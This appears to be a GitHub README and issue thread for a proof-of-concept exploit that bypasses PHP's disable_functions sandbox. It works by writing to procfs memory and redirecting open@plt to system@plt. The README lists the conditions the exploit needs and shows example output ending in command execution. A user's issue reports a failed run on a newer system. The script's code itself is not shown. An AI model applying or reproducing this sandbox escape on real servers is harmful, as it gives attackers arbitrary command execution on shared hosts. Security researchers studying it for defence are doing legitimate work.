beched/php_disable_functions_bypass

procfs-based PHP sandbox bypass

PHP disable_functions bypass

Original topic on RDot forum (russian): https://rdot.org/forum/showthread.php?t=3309

This script exploits the possibility to write to procfs and rewrites the open@plt address with system@plt address. After that you can run shell commands with, for example, readfile(). Addresses are obtained automatically after ELF parsing of libc and php binary.

Conditions:

• Linux kernel version >= 2.98,
• PHP-CGI or PHP-FPM (modern Apache versions with mod_php call setuid, thus, there's no access to procfs),
• Linux x64 (you can adjust offsets to make it work on x32 system),
• open_basedir = Off (or you should be able to bypass it to read /lib and to read and write in /proc).

Example of usage:

$ php procfs_bypass.php
[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)
[*] Trying to get open@plt offset in PHP binary
[+] Address is 0xe94998
[*] Libc location: /lib/x86_64-linux-gnu/libc-2.19.so
[*] Trying to get open and system symbols from Libc
[+] Got it. Seeking for address in memory
[*] open@plt addr: 0x7f150f86d150
[*] system@plt addr: 0x7f150f7c7530
[*] Rewriting open@plt address
[+] Address written. Executing cmd
uid=1000(beched) gid=1000(beched) группы=1000(beched),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare)

php_disable_functions_bypass's Issues

[FAILED] Get failed while running the poc, /proc/$pid/mem not writable

Hi, beched, thank you so much for your excellent work!
I want try your poc, but get failed... could your please give me a hand?
Here is the error message:

➜  ~ php procfs_bypass.php                           
[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)                                       
[*] Trying to get open@plt offset in PHP binary      
[+] Offset is 0x648058                               
[*] Libc location: /lib/x86_64-linux-gnu/libc-2.26.so                                                     
[*] Trying to get open and system symbols from Libc  
[+] Got them. Seeking for address in memory          
[*] open@plt addr: 0x0                               
[*] system@plt addr: 0xfffffffffff44090              
[*] Rewriting open@plt address                       
[-] Write failed. Exiting       

the file /proc/$pid/mem is not writable...

➜  ~ ps aux | grep php
root     12403  0.0  2.9 161832 14596 pts/2    S+   03:52   0:00 php -a
root     12934  0.0  0.2  14788  1076 pts/4    S+   03:58   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn php
➜  ~ ls -al /proc/12403/maps
-r--r--r-- 1 root root 0 May  4 03:52 /proc/12403/maps
➜  ~ ls -al /proc/12403/mem 
-rw------- 1 root root 0 May  4 03:52 /proc/12403/mem

I am not sure if the php team fix this vulnerability or not? thank you so much~